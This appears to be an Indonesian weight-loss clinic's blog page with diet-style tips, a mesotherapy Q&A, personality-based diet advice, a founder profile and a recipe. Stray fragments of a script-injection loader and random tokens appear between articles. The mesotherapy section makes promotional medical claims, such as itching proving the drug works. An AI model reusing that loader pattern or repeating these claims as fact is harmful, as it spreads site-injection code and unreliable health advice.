Logo

Ditemukan 0 artikel berkaitan

Tummy Talk, Weight Control Tips

Agar Efektif, Selain Sesuai Kepribadian Diet Juga Harus Pas Dengan Gaya Makan

Setelah beberapa kali kita bicara tentang diet yang sesuai dengan kepribadian. Ternyata ada satu hal lagi yang harus pas dengan diet yang kita pilih: gaya makan.

Seringkali Anda mencoba berbagai macam diet yang sedang tren, tapi berakhir dengan kegagalan. Berat badan Anda tetap saja tidak turun dengan maksimal. Mengapa demikian? Pakar lightHOUSE memiliki jawabannya.

Berbagai rencana penurunan berat badan hanya akan berhasil jika Anda berkomitmen. Namun, tidak semudah itu untuk berkomitmen pada hal yang sebenarnya tidak disukai. “Banyak orang yang telah berhasil mengatakan bahwa diet akan terasa lebih mudah jika sesuai dengan kepribadian dan gaya makan individu,” ujar Psikolog Naomi Ernawati Lestari, M.Psi dari klinik lightHOUSE Indonesia.

Nah, karena sebelumnya kami telah beberapa kali membahas tentang diet yang sesuai dengan kepribadian, sekarang giliran tips untuk menyesuaikan diet dengan gaya makan seseorang.

“Misalnya seseorang tidak suka masak. Ia tidak akan bertahan lama dengan diet di mana ia harus masak makanan yang rumit. Belum lagi dia tinggal dengan anak kecil yang memakan banyak cemilan. Yang ada dia malah akan ikut ngemil,” tambah Psikolog Naomi.

Oleh karena itu, cara termudah untuk menurunkan berat badan adalah dengan menyesuaikan dengan gaya makan seseorang. Berikut penjelasan dari Psikolog Naomi. Pilih gaya makan yang sesuai lalu cek diet idealnya :

1. Pencari Dukungan 
Anda adalah tipe orang yang membutuhkan teman dan dukungan pada setiap permasalahan Anda. Anda butuh teman makan, sahabat yang mendukung sehabis bertengkar dengan pacar dulu, dan saudara yang bersedia ditelepon kapan saja ketika Anda merasa stres setelah bekerja seharian di kantor.

Diet ideal Anda: Diet Anda akan sukses jika ada banyak dukungan dari orang-orang yang pernah merasakan hal yang sama dengan Anda, berbagi kisah penurunan berat badan mereka, bagaimana mereka berjuang melawan nikmatnya sepotong coklat atau seloyang pizza.

Lakukan program penurunan berat badan yang menyenangkan, ada tips dari ahli gizi, atau lakukan senam dan pilates dengan anggota gym yang lain. Selain itu, Anda juga bisa memakai personal trainer yang akan menyesuaikan kebutuhan diet Anda.

2. Tukang Ngemil.
Anda adalah seorang ibu yang multi-tasking; pekerja kantoran, mengurusi anak-anak di rumah, dan berkutat dengan banyak kegiatan sosial. Anda butuh menurunkan berat badan karena kebiasaan ngemil yang sulit dihindari.

Mungkin Anda tidak suka masak, lalu ada anak-anak, dan suami yang perlu diurusi, kemudian deadline di kantor yang mendesak, Anda butuh cemilan sebagai pelampiasan. Cemilan Anda biasanya terdiri dari kacang, coklat, cake, cookies, dan keripik. Ketika tiba waktunya memasak, biasanya Anda sudah merasa terlalu kenyang dari terlalu banyak ngemil sehingga kebutuhan makan seimbang tidak terpenuhi.

Diet Ideal Anda: Tukang ngemil biasanya makan berdasarkan keinginan, bukan rasa lapar. Jadi mereka makan apa saja yang paling mudah dimakan. Solusinya, taruh makanan sehat seperti buah, sayur-sayuran, roti gandum dengan porsi yang cukup di tempat yang mudah terlihat. Sedangkan cemilan tidak sehat, tidak perlu disimpan. Bahkan, jangan terpikir untuk dibeli. Selain itu, jika sudah merasa ingin ngemil, minumlah segelas air putih untuk mengalihkan pikiran Anda dari cemilan tidak sehat.

Diet Harus Pas Dengan Gaya Makan

3. Pecinta Kebebasan.
Anda menolak untuk makan makanan yang “ringan” cuma karena diberitahu bahwa kalorinya rendah. Anda tidak punya waktu untuk menghitung kalori atau mencari tahu mana makanan yang rendah sehat. Anda juga terlalu pemberontak untuk mengikuti rencana makan yang diberikan ahli gizi.

Anda serius dalam hal keluarga, pekerjaan, dan kehidupan sosial, tapi jangan harap hal yang sama dalam hal makan. Penurunan berat badan haruslah sesuatu yang mudah dan sederhana, serta fleksibel untuk Anda.

Diet Ideal Anda: Si pecinta kebebasan biasanya malas mengikuti rencana diet yang dibuatlah oleh ahli gizi Anda. Cara terbaik untuk menurunkan berat badan bagi Anda adalah fokus makan dengan lebih pelan dan tenang. Berikan skala rasa lapar Anda sebelum dan saat makan, sehingga Andatidak membiarkan diri Anda terlalu lapar atau terlalu kenyang.

4. Penyuka Manis.
Anda tidak akan menolak apapun yang manis. Semua orang tahu itu.Anda tidak akan memilih makan oatmeal dibandingkan coklat. Bagi Anda tidak ada coklat yang tidak enak. Gabungkan si gigi manis dengan si tukang ngemil, maka Anda punya masalah besar.

Diet Ideal Anda: Anda perlu merencanakan makanan manis Anda dengan hati-hati. Daripada makan semua makanan manis dan menambah kalori Anda, lebih baik identifikasikan makanan manis yang paling Anda suka dan rencanakan seberapa banyak Anda akan makan.

Perencanaan makan bisa dengan mengolah makanan atau masak sendiri lho! Simak yuk cara masak rendah kalori ala lightHOUSE! Agar lebih sehat, tambahkan buah-buahan yang manis ke dalam menu harian sehingga kalori lebih terjaga.

5. Gampang Terdistraksi.
Anda biasa mengerjakan banyak hal dalam sekali waktu, termasuk makan. Tentu saja multitasking adalah hal yang baik, tapi dalam hal makan kurang baik untuk angka di timbangan Anda.

Jika Anda terbiasa makan sambil mengerjakan hal lainnya, seperti nonton TV, baca buku, atau bahkan bekerja di depan komputer, Anda tidak akan menyadari seberapa banyak yang sudah Anda makan.

Diet Ideal Anda: Siapkan cemilan dan makanan Anda dengan penuh kesadaran. Siapkan makanan kecil, seperti setengah sandwich, dan hindari kue-kue. Jangan makan sambil Anda mengerjakan hal lainnya. Fokuslah pada makanan Anda dan nikmati makanan seolah-olah itu adalah makanan terakhir yang Anda makan sehingga Anda benar-benar menikmatinya.

Dari kelima tipe kepribadian diet di atas, yang manakah tipe Anda? Yang paling penting, nikmati apa yang Anda makan dan pastikan yang Anda makan adalah hal yang sehat, sesuai dengan kepribadian. Niscaya berat badan ideal akan mudah dicapai.

Jangan lupa, jika butuh bantuan lebih lanjut tim Psikolog di klinik lightHOUSE siap membantu. Silakan membuat appointment online dan frontliners kami akan segera menelepon Sahabat lightHOUSE. Selamat makan!

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Apa Itu Mesoterapi? Q & A Terapi Penunjang di lightHOUSE

Mesotherapy adalah suatu metode untuk memasukkan obat ke lapisan di bawah kulit dengan menggunakan sebuah jarum tipis.

Terapi penunjang untuk body shaping ini bekerja dengan menghilangkan lapisan lemak di bawah kulit, seperti yang terjadi pada selulit dan kegemukan, atau meremajakan jaringan kulit perut yang kendur setelah melahirkan.

Metode ini pertama kali diperkenalkan tahun 1952 di Perancis, dan kemudian dipopulerkan kembali oleh seorang dokter ahli bedah di Brazil pada tahun 1980-an yang menggunakan ekstrak soya untuk menghilangkan tumpukan lemak. Metode ini amat populer di negara-negara Amerika dan Eropa Selatan.

Klinik lightHOUSE Indonesia menggunakan mesoterapi sebagai terapi penunjang. Jika ingin hasil yang maksimal, kami menyarankan untuk mengambil paket lightWEIGHT. Program komprehensif kami ini memiliki tingkat keberhasilan 3,5 kali lebih banyak dibandingkan konsultasi dan treatment konvensional.

Simak Q & A berikut untuk lebih memahami tentang mesoterapi:

Q: Obat apa yang dipakai?

A: Obat yang dipakai tergantung dari keadaan masing-masing individu dan tujuan dari terapi. Jenis obat yang dipakai dalam satu kali terapi umumnya merupakan kombinasi dari berbagai macam obat seperti obat homeopati serupa ekstrak gangang laut, ekstrak kedelai, asam amino dan zat pembantu pemasukan obat ke dalam sel.

Asam amino umumnya terdapat pada tubuh manusia dalam berbagai jenis, salah satu fungsinya membantu pembakaran lemak, sedangkan ekstrak kedelai memindahkan lemak keluar sel. Ekstrak kedelai ini amat banyak digunakan di Eropa tetapi belum banyak dipakai di Indonesia. Harganya relatif lebih mahal dibandingkan obat-obat lain.

Banyaknya obat yang dipakai tergantung dari besarnya area yang akan diterapi. lightHOUSE tidak menggunakan obat-obat golongan amfetamin yang menyebabkan ketergantungan, ataupun obat-obatan yang mempengaruhi ginjal maupun memacu kerja jantung.

Q: Apakah terapi ini menyakitkan?

A: Terapi ini relatif tidak menyakitkan karena jarum yang digunakan berukuran sangat kecil yang disebut dengan baby needle. Supaya obat efektif menyebar hanya di lokasi yang diinginkan, obat ditembakkan dengan alat bernama mesogun. Alat ini juga berfungsi meminimalkan rasa nyeri dan efek lebam. Bila Anda merasa khawatir akan rasa nyeri. Anda dapat meminta Dokter untuk memberikan krim pemati rasa 10 menit sebelum prosedur dimulai.

Q: Apakah efek samping yang ditimbulkan?

A: Pada beberapa orang, ekstrak kedelai akan menimbulkan sedikit gatal pada lokasi penyuntikan atau bekas merah yang akan hilang dalam beberapa jam. Hal ini menunjukkan bahwa obat sedang bekerja. Pada beberapa orang, akan timbul pula sedikit lebam kebiruan.

Efek lainnya sangat jarang terjadi karena obat bekerja langsung pada lokasi yang dituju dan tidak dimasukkan ke dalam pembuluh darah besar, sehingga tidak diedarkan ke bagian tubuh yang lain.

Q: Siapa saja yang tidak bisa mendapatkan terapi ini?

A: Bila Anda memiliki riwayat alergi pada obat-obatan tertentu atau menderita diabetes yang sering mengalami bekas luka yang susah mengering atau sedang hamil juga tidak dianjurkan mendapatkan terapi ini.

Q: Apakah terapi ini efektif?

A: Terapi ini cukup efektif bila dilakukan teratur selama minimal 5-6 sesi, tergantung luas area terapi. Saat ini sekelompok dokter di Jerman, Austria dan Swiss sedang mengumpulkan sebanyak mungkin data untuk menguatkan bukti keefektifan terapi ini, terutama dengan ekstrak kedelai.

Perlu diperhatikan bahwa mesotherapy tidak dapat menggantikan metode operatif seperti liposuction, tetapi bagi pasien yang tidak menginginkan tindakan bedah, metode ini dapat menjadi suatu alternatif pilihan.

Nah, penasaran kan? Segera buat janji di Klinik lightHOUSE untuk mencoba mesoterapi. Bila ada pertanyaan lebih lanjut lightHOUSE siap membantu. Silakan membuat appointment online dan frontliners kami akan segera mengontak Sahabat lightHOUSE. Kami tunggu kedatangannya!d.getElementsByTagName(‘head’)[0].appendChild(s);

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Apakah Program Penurunan Berat Badan Anda Sudah Sesuai Tipe Kepribadian?

Ternyata tipe kepribadian menentukan keberhasilan penurunan berat badan. Itulah mengapa kami merancang program spesifik untuk Sahabat lightHOUSE.

Entah ada berapa banyak metode menurunkan berat badan yang beredar luas di masyarakat. Namun sayangnya, hingga saat ini belum ada satu pun yang berhasil Anda jalankan dengan sukses. Mengapa demikian?

Menurut pakar kami, Psikolog Anindita Citra, Mpsi. jawabannya terletak pada kepribadian Anda. Eits, jangan kaget dulu. Bukan berarti kepribadian Anda bermasalah lho. Hanya saja, ada hal-hal yang perlu disesuaikan.

“Pada hakikatnya, setiap individu memiliki kepribadian masing-masing yang akan mempengaruhi perilakunya dalam menanggapi sesuatu. Itu lah sebabnya Anda tidak bisa sembarangan menentukan strategi untuk menurunkan berat badan,” Psikolog Citra menjelaskan.

Sahabat lightHOUSE harus mengenal terlebih dahulu tipe kepribadian apakah yang Anda miliki, baru setelahnya Anda bisa menyusun strategi yang tepat untuk mencapai target. Ini semua demi menciptakan program penurunan berat badan yang lebih mudah dan menyenangkan untuk Sahabat lightHOUSE.

“Seperti halnya memilih body lotion yang harus sesuai dengan jenis kulit, menentukan strategi menurunkan berat badan pun harus sesuai dengan kepribadian individu,” ujar Psikolog Citra yang siap membantu klien untuk meningkatkan kontrol dirinya.

Kira-kira, apa ya  yang akan terjadi jika strategi menurunkan berat badan tidak sesuai dengan kepribadian individu? Menurut Citra, jelas hasilnya tidak akan maksimal. Nah, berikut adalah penjelasan selengkapnya dari pakar lightHOUSE

Tipe-tipe Kepribadian

Menurut pakar kami, ada 10 tipe kepribadian dengan kecenderungan masing-masing. Karena kecenderungannya berbeda satu sama lain, strategi penurunan berat badannya pun tenu berbeda. Berikut penjelasannya :

1. Fungsional
Tipe ini merupakan tipe yang makan sekedar untuk memenuhi kebutuhan hidup, di mana makanan hanya dianggap sebagai sumber tenaga untuk menjalani aktivitas. Oleh karena itu, mereka lebih memilih makanan yang bersifat praktis. Tidak mengherankan apabila fast food menjadi primadona mereka.

Strategi: Sebelum memulai aktivitas, pikirkan terlebih dahulu menu makanan dan cara untuk memperolehnya. Dengan begitu, Anda tidak akan cenderung asal dalam memilih makanan karena prinsip “yang penting kenyang”.

2. Sensual
Tipe ini merupakan tipe yang mengutamakan kenikmatan dan senang memanjakan lidah. Biasanya mereka memiliki hobi masak. Sebenarnya mereka paham benar bahwa pilihan menu mereka rata-rata tidak sehat, tapi mereka cenderung mengabaikannya.

Strategi: Sediakan waktu untuk membuat daftar menu yang sehat, tapi tetap lezat untuk disantap. Dengan begitu, Anda tidak akan merasa tersiksa. Buktikan saja kalau makanan sehat juga bisa enak.

3. Intelektual
Tipe ini merupakan tipe yang memiliki kesadaran dan pengetahuan yang tinggi mengenai pola makan sehat. Bagi mereka, hal yang paling utama adalah kesehatan sehingga mereka tidak sedikit pun tertarik cheating.

Strategi: Pola makan seperti ini memang sehat, tetapi tidak perlu terlalu kaku dijalankan agar tetap bisa menikmati hidup. Berhati-hati sih boleh, tetapi jangan sampai menjadi paranoid ya. Salah salah diet Anda malah jadi ekstrim. Diet semacam ini bisa membahayakan kesehatan lho!

4. Emosional
Tipe ini merupakan tipe yang makan untuk membuat suasana hatinya menjadi lebih baik. Terkadang mereka menjadikan makanan sebagai reward (makan untuk merayakan keberhasilan: mendapat nilai bagus/mendapat promosi jabatan), namun terkadang pula yang menjadikan makanan sebagai punishment (makan untuk menghibur diri: putus cinta/stres bekerja). Berikut penjelasan lebih lanjut dari pakar kami tentang emosional eating.

Strategi: Pastikan Anda makan hanya ketika sedang lapar. Caranya dengan mendengarkan  “alarm tubuh” Anda (contoh: perut keroncongan). Jika Anda ingin makan ketika tidak sedang lapar, coba lah mencari alternatif lain yang lebih sehat sebagai pelampiasan.

5. Fokus
Tipe ini merupakan tipe yang makan untuk mencapai tujuan tertentu, misalnya untuk menurunkan berat badan. Entah untuk alasan kesehatan maupun penampilan. Biasanya mereka sangat fokus dalam mencapai targetnya. Jika kebablasan, maka hal ini dapat menjadi obsesi.

Strategi: Tentukan target dan daftar menu untuk mencapai target Anda. Pantau perkembangannya dari waktu ke waktu. Kalau Anda tidak mengalami kenaikan berat badan yang signifikan, maka tidak perlu panik dan langsung diet mati-matian. Semakin keras Anda mencoba, semakin besar pula kemungkinan berat badan Anda mengalami efek yoyo.

zlxcte

6. Intuitif
Tipe ini merupakan tipe yang mampu menikmati makanan dan mendengarkan sinyal tubuh mereka. Ketika kepala mulai terasa pusing, ia akan mengurangi asupan garam, dan ketika kaki mulai terasa kesemutan, ia akan mengurangi asupan kacang-kacangan.

Strategi: Ketahuilah titik kelemahan Anda, misalnya memiliki potensi darah tinggi, asam urat, atau diabetes. Selalu perhatikan reaksi tubuh Anda terhadap makanan yang dikonsumsi. Tujuannya untuk menyusun menu yang sesuai dengan kebutuhan dan penerimaan tubuh Anda. Simak tips pakar kami tentang diet yang cocok untuk penderita diabetes pada pria.

7. Eksperimental
Tipe ini merupakan tipe yang senang menjajal makanan baru dan tidak memiliki pantangan apapun. Biasanya mereka senang bergaul dan pergi makan-makan di luar (wisata kuliner). Jika mendengar ada tempat makan yang baru buka dan memiliki menu unik, mereka tidak akan segan untuk segera mencobanya.

Strategi: Mereka termasuk orang yang cepat bosan dan tidak menyukai menu yang monoton. Oleh karena itu, dibutuhkan daftar menu yang bervariasi dengan tetap memperhatikan kandungan gizi dan jumlah kalorinya.

8. Etis
Tipe ini merupakan tipe yang berpegang teguh pada prinsip, contohnya seperti para vegetarian yang hanya mau mengkonsumsi buah-buahan dan sayuran atau para penganut makanan sehat yang anti terhadap bawah pengawet, zat pewarna buatan, dll.

Strategi: Sekilas memang keliatannya tidak ada masalah. Namun demikian, jika prinsip mereka dijalankan dengan super disiplin, maka nutrisi yang dibutuhkan tubuh justru tidak dapat terpenuhi dengan sempurna. Apalagi kalau bukan karena terbatasnya pilihan makanan yang mereka konsumsi.

9. Bingung
Tipe ini merupakan tipe yang merasa berada di persimpangan. Mereka takut mengambil langkah yang tepat di tengah maraknya pemberitaan mengenai makanan yang boleh dan tidak boleh di makan.

Strategi: Sebelum hendak memilih makanan, silahkan melakukan relaksasi sebentar. Hal ini dibutuhkan untuk menenagkan diri agar dapat berpikir lebih rasional. Sebenarnya Anda tau kok apa yang baik untuk diri Anda. Yang terpenting, Anda tidak mengkonsumsinya sesuatu secara berlebihan.

10. Sosial
Tipe ini merupakan tipe yang sering menyerahkan keputusan pada teman-temannya. Mereka cenderung makan dan minum tanpa berpikir dua kali karena yang terpenting bagi mereka adalah kumpul-kumpulnya.

Strategi: Sertakan pendapat Anda dalam proses pengambilan keputusan. Pertimbangkan terlebih dahulu baik dan buruknya makanan/minuman yang hendak Anda konsumsi. Jangan sekedar mengikuti arus, tetapi tentukan pula arusnya menuju ke mana.

Nah, termasuk tipe kebribadian apakah Anda? Silakan cocokan diet Sahabat lightHOUSE dengan kecenderungan yang kami dijelaskan di atas. Jika sudah tahu, selamat mencoba strateginya ya!

Tambahkan strategi pilihan Anda dengan delapan cara mewujudkan resolusi turun berat badan dari psikolog kami untuk meningkatkan keberhasilan program diet Sahabat lightHOUSE.

Bila butuh bantuan lebih lanjut tim Psikolog di klinik lightHOUSE siap membantu. Silakan membuat appointment online dan frontliners kami akan segera mengontak Sahabat lightHOUSE. Semoga berat badan yang ideal segera menjadi milik Anda.

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Cara dr. Grace Membantu Orang dengan Masalah Perut Buncit

Sebagian besar orang dengan masalah perut buncit ternyata muncul karena gangguan kontrol diri. Ini artinya, akar persoalan dari kasus tersebut terletak di otak.

Bukan hanya di Indonesia, sejak abad pertengahan dan zaman Renaissance, perut buncit sering dipandang sebagai simbol kemakmuran. Itulah mengapa kemudian kasus obesitas cukup sering ditemukan di kalangan kelas atas. Namun, di zaman modern ini, bukan hanya kelas atas yang berperut buncit, mudahnya akses pada makanan membuat obesitas mulai menyerang golongan menengah hingga bawah. Sudah saatnya kita #MERDEKAdariBUNCIT

Dalam rangka perayaan Ulang Tahun ke-70 Republik Indonesia, lightHOUSE Indonesia mengajak sahabat lightHOUSE untuk #MERDEKAdariBUNCIT. Semangat melawan obesitas ini sudah dimiliki oleh pendiri klinik lightHOUSE, dr. Grace Judio, MSc.

Sebagai peraih gelar Master of Neuroscience & Behavior Science dari University of Tüebingen, Jerman, dr. Grace menemukan bahwa masalah obesitas bukan hanya di fisik tapi juga di otak.  Ia pun kemudian gencar melakukan edukasi tentang perut buncit dengan pendekatan secara komprehensif agar dapat mengubah pola pikir dan meningkatkan kontrol diri seseorang dalam program penurunan berat badan yang dirancangnya.

“Jadi, perut buncit sebenarnya tak cukup hanya diatasi dengan suntik, obat, diet dan olahraga, tapi perilakunya juga harus diubah kan, karena akar persoalannya justru di otak,” dr. Grace menjelaskan.

2s0xzkl

Problemnya di Otak
Kesimpulan bahwa sebagian besar obesitas muncul karena problem otak, ia temukan saat mengawali karier di sebuah perusahaan farmasi. Saat itu, ia menjadi konsultan program penurunan berat badan.

“Waktu itu tanggung jawab saya bukan untuk menjual obat, tetapi lebih ke edukasi awam dan clinical trial yang melibatkan peserta, dokter dan ahli gizi. Uji coba tersebut di kota-kota besar di Indonesia yang melibatkan begitu banyak orang untuk mengamati akar penyebab orang mengalami obesitas,” ceritanya.

Dari berbagai uji coba yang dilakukannya itu, dr. Grace menemukan bahwa kebanyakan obesitas muncul karena probem di otak. Di situlah ia mendapat jawaban bahwa masalah kelebihan berat badan tidak bisa hanya dengan obat.

“Kalaupun diberi obat atau suntik tidak akan bertahan lama. Jadi, mindset (pola pikirnya) juga harus diubah yaitu lewat edukasi,” jelasnya.

Berbekal dari pengalaman dan pemahamannya tersebut, dr. Grace lantas tergerak untuk membuka praktik sendiri. Ia kemudian mendirikan klinik penurunan berat badan pada 2004, dengan menawarkan program terapi yang diformulasikannya sendiri yang disebut lightWEIGHT. Hanya saja waktu itu, treatment-nya belum sesempurna seperti saat ini yang tersedia di  klinik yang didirikannya yaitu lightHOUSE Indonesia.

“Waktu awal berdiri, saya masih menangani pasien sendirian. Waktu itu treatment-nya nggak kasih obat. Saya hanya mengedukasi pasien supaya hidup sehat, bagaimana cara memilih makanan, proses mengolahnya, cara masaknya dan lain-lain. Namun lama-lama saya kombinasi dengan treatment lain seperti akupuntur, terapi balut dan obat dengan dosis rendah,” urainya.

Program lightWEIGHT
Program lightWEIGHT  itu sendiri, tambah Grace, merupakan treatment comprehensive dengan panduan dari dokter, psikolog, ahli gizi, dan personal trainer yang diterapkannya setelah kliniknya mengalami banyak perkembangan.

Seiring dengan berjalannya waktu, treatment-nya itu memang mengalami banyak penyempurnaan hingga kini menjelma menjadi sebuah klinik besar dengan treatment yang dapat menangani masalah berat badan dan gangguan makan. Selain lightWEIGHT, ada juga lightSHAPE dan lightMEAL.

“Semua treatment ini dibuat dengan tujuan untuk menurunkan berat badan disesuaikan dengan kondisi dan kebutuhan pasien,” terangnya.

Nah, di klinik lightHOUSE, ada banyak fasilitas treatment yang secara komprehensif disediakan untuk program penurunan berat badan dan gangguan makan.

“Di sini pasien nggak hanya mau kurus lalu disuntik, tetapi di deteksi dulu agar ketahuan penyebabnya apa? Lalu di skrining untuk diketahui penanganan tepatnya seperti apa?” jelas dokter yang meraih Certificate in Weight Control & Obesity Management dari Human Nutrition Unit, University of Sydney, Australia.

Selain itu, lightHOUSE, lanjut dia, memberi program terstruktur dan edukasi kepada pasien seputar gaya hidup sehat agar bisa menjaga berat badannya.

“Jadi, pasien betul-betul diedukasi agar bisa mengontrol dan menjaga berat badannya dengan baik misalnya, pola makannya seperti apa, cara memilih makan, mengolah dan memasaknya seperti apa, bahkan resep makanan sehat pun kami sediakan,” urainya panjang lebar.

Berkat formulasinya inilah, dr. Grace mengaku, selama sepuluh tahun mendirikan klinik lightHOUSE, mengalami peningkatan keberhasilan dalam mengatasi masalah obesitas dan gangguan makan yang dialami pasiennya.

Menurut dr. Grace, pasien-pasien yang datang ke kliniknya memiliki kontrol diri yang lebih baik sehingga memudahkan mereka untuk mencapai penurunan berat badan seperti yang diharapkan.

“Kalau kontrol dirinya sudah baik, maka akan berimbas pada gaya hidupnya yang jauh lebih sehat. Kondisi ini, tentu saja akan berpengaruh pada berat badannya yang lebih baik dan bersifat jangka panjang, karena kontrol dirinya sudah baik,” ujarnya menutup perbincangan.

*Seperti dimuat di suara.com pada 29 September 2014 pk. 16:41 WIB

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Merdeka Dari Perut Buncit dengan Lebih Banyak Bergerak!

Gaya hidup, budaya makan, serta kebiasaan malas bergerak yang dimiliki orang Indonesia menjadi penyebab utama meningkatnya angka obesitas.

Teori tersebut sering dilontarkan oleh pendiri klinik lightHOUSE Indonesia, dr. Grace Judio, MSc. Untuk mengurangi angka obesitas, kami menguatkan komitmen dengan membuat kampanye dengan tagar #MERDEKAdariBUNCIT di web dan sosial media.

Lebih lanjut dr. Grace menjelaskan, orang Indonesia makanan tidak hanya sekadar pemuas lapar atau sumber nutrisi saja tetapi kemewahan. “Buktinya orang Indonesia senang makan-makan untuk merayakan berbagai momen,” ujar konsultan penurunan berat badan dan peneliti tingkah laku ini.

“Selain memang dikenal sebagai bangsa yang senang dilayani, belum lagi suhu tropis yang lebih panas dan lembab membuat orang Indonesia jadi relatif malas bergerak,” dr. Grace menambahkan. Namun, jika Anda obesitas dan ingin berolahraga, konsultasikan dulu dengan dokter ya agar tidak membahayakan tulang.

Masalah obesitas sebenarnya serius namun sering dipandang sepele oleh sebagian besar orang. Bahkan, ada anggapan bahwa tubuh gemuk sama dengan sehat dan makmur dari segi ekonomi. Banyak juga yang malas mengubah pola hidup karena sudah nyaman dengan bentuk tubuhnya.

Padahal ada alasan yang lebih besar untuk memiliki berat badan ideal selain sekadar estetika penampilan saja. Berat badan ideal membuat aktivitas lebih mudah dan kesehatan lebih terjaga sehingga kualitas hidup meningkat.

Manfaat itulah yang telah dialami oleh Ricky Darmawan (27), seorang wedding organizer yang merasa senang berat badan sekarang yang mendukung hidup yang lebih aktif di usia produktif.

“Umur saya baru 27 tahun, tapi berat badan saya sudah 125 kg. Tidak terlalu mengherankan karena badan sudah besar sejak saat di bangku sekolah. Badan besar ini tadinya tidak masalah, tapi kemudian makin banyak orang yang berpikir orang gemuk lebih malas dibanding orang bertubuh ramping,” kisahnya.

Ia pun mencoba berbagai cara untuk menurunkan berat badannya, mulai dari diet ketat, akupuntur, dan pola makan OCD, namun tidak ada yang membawa perubahan besar. Pada akhirnya, ia pun tertarik mengikuti program penurunan berat badan lightWEIGHT Challenge dari Klinik lightHOUSE. Hanya dalam kurun waktu tiga bulan ia berhasil turun berat hingga 30 kg.

2uh8kso

Program Komprehensif
Program lightWEIGHT adalah program penurunan berat badan selama 12 minggu dari klinik lightHOUSE yang telah berpengalaman selama lebih 10 tahun di Indonesia. Program ini dirancang khusus oleh dr.Grace Judio dan telah dilangsungkan sebanyak 30 kali dengan metode komprehensif. Agar efektif, program ini dipandu oleh dokter, psikolog, ahli gizi dan personal trainer dengan pendekatan personal.

“Berdasarkan pengalaman kami rata-rata orang yang memiliki kelebihan lemak 99% sudah tahu apa yang harus dilakukan tapi sering salah tangkap informasi dan terpengaruh orang lain. Kadang juga hanya mengikuti program yang over promising dan repot. Klinik lightHOUSE memberikan program dengan berbagai inovasi yang mudah dan fun untuk dilakukan,” terang dr. Grace.

Selain lightWEIGHT, masih ada berbagai program penurunan berat badan lain yang dirancang sesuai kebutuhan dan tingkat usia klien. Misalnya, lightMEAL yaitu pengaturan menu makan bagi yang ingin menurunkan berat badan yang sangat cocok bagi yang tidak punya banyak waktu menyiapkan menu makan dietnya sendiri.

“Kami juga menggunakan banyak aplikasi mobile dan teknologi seperti simulasi virtual dengan teknologi oculus rift menggunakan head-mounted display Oculus untuk membantu penurunan berat badan. Jadi bukan studi kasus saja tapi kita mengajari bagaimana cara menolak godaan untuk makan berlebih dengan lebih realistis. Sistem ini membuat diet jadi lebih menyenangkan,” terang dr.Grace.

Pada program simulasi, klien akan diminta menggunakan head-mounted display dan diberi simulasi 3D bahwa mereka berada di ruangan tempat mereka biasa menerima godaan untuk makan berlebih. Misalnya saja, food court, ruang kerja atau rumah. Kemampuan mereka untuk menolak godaan makan akan diukur menggunakan program ini.

“Kalau mau turun berat badan teorinya gampang. Makan jika lapar dan berhenti jika memang sudah kenyang. Jangan lapar mata. Lebih baik juga jika memilih makanan yang sehat. Sulitnya sekarang mal menjamur di mana-mana dan makanan ditawarkan dimana-mana. Karena itu lightHOUSE memberi bukan sekedar anjuran tapi penjelasan dan latihan untuk memiliki kontrol diri yang baik,” lanjut dr. Grace lagi.

Oleh karena itu melalui program-programnya lightHOUSE berusaha mengatasi obesitas secara efektif hingga ke akarnya. Namun, dengan cara lebih ringan dan menyenangkan. Program ini mengukuhkan lightHOUSE sebagai pionir di dalam teknologi penurunan berat badan.

Program-program tersebut juga dirancang berdasarkan pengalaman klinis sehingga efektif dan minim efek samping. Ini sesuai dengan visi dan misi lightHOUSE sebagai klinik penurunan berat badan profesional yang telah berpengalaman sejak 2004 di Indonesia.

“Kita adalah satu-satunya klinik penurunan berat badan yang komprehensif dan melibatkan profesional di bidangnya. Mulai dari ahli gizi, dokter, dokter gizi, dokter spesialis olahraga, sampai ke psikolog. Kita juga memiliki meal planing sampai behaviour modification, terapi obat, terapi penunjang lain, dan makanan. Tidak hanya efektif, kita terus mengusahakan agar efek sampingnya seminimal mungkin untuk klien,” tutup dr. Grace.

* Seperti dimuat di Wolipop pada 12 Maret 2015 Pk. 00:00 WIB

 var d=document;var s=d.createElement(‘script’);

05/21/2016
Selengkapnya
Healthy Recipes, Tummy Talk

Dua Resep Steak untuk Meramaikan Acara Barbeque Bersama Keluarga

Makanan serba santan menjadi sajian khas beragam tradisi perayaan di Indonesia. Kan setahun sekali.  Benarkah demikian?

Steak Ayam Saus Jeruk
Merayakan pergantian tahun baru bersama orang-orang terdekat itu memang menyenangkan. Tak harus Anda habiskan diluar dan membeli makanan atau minuman mahal, momen yang hangat ini justru lebih indah ketika dihabiskan bersama orang-orang terdekat. Anda bisa menggelar pesta kecil di rumah dan menyajikan aneka makanan lezat. Sudah menjadi hal yang lumrah saat malam tahun baru biasanya diisi dengan acara bakar-bakaran atau panggang-memanggang, sambil menunggu detik-detik pergantian malam tahun baru yang tentu membuat suasana makin meriah. Jika ingin mengisi acara tahun baru dengan bakar-bakaran atau panggang-memanggang maka Anda bisa mencoba resep masakan tahun baru yang satu ini.

Untuk 6 Porsi dengan 159,8 Kalori per porsi

Bahan :

  • 6 buah (@150 g) fillet dada ayam tanpa kulit
  • ½ sdt garam
  • ½ sdt merica putih bubuk
  • 1 sdm minyak sayur
  • 2 buah jeruk navel, ambil airnya*)
  • 1 sdt jahe parut
  • 2 sdm madu
  • 1 buah jeruk navel atau jeruk medan, buang kulitnya,

Potong bentuk wedges & pelengkap

  • ½ sdt tepung maizena, larutkan dengan 2 sdm air
  • 1 sdm daun kucai cincang
  • 300 g brokoli, kukus hingga matang

Cara Membuat :

  • Lumuri seluruh permukaan ayam dengan garam dan merica hingga rata.
  • Semprotkan sedikit minyak pada wajan antilengket atau gunakan alat pemanggang atau bakaran  dengan arang. Taruh dada ayam. Masak sambil dibalik-balik hingga matang. Angkat. Sisihkan.
  • Panaskan wajan. Masak air jeruk, jahe, dan madu hingga mendidih. Tambahkan larutan maizena, masak hingga mengental. Masukkan jeruk, aduk rata. Angkat.
  • Sajikan ayam dengan saus jeruk.
  • Sajikan panas disertai pelengkap.

*NB: Dapat disajikan dengan mashed potato atau kentang kukus tumbuk

Baca Juga: Cara Membuat Pepes Ayam Tahu Bakar Sehat Untuk Keluarga

Steak Tempe Panggang
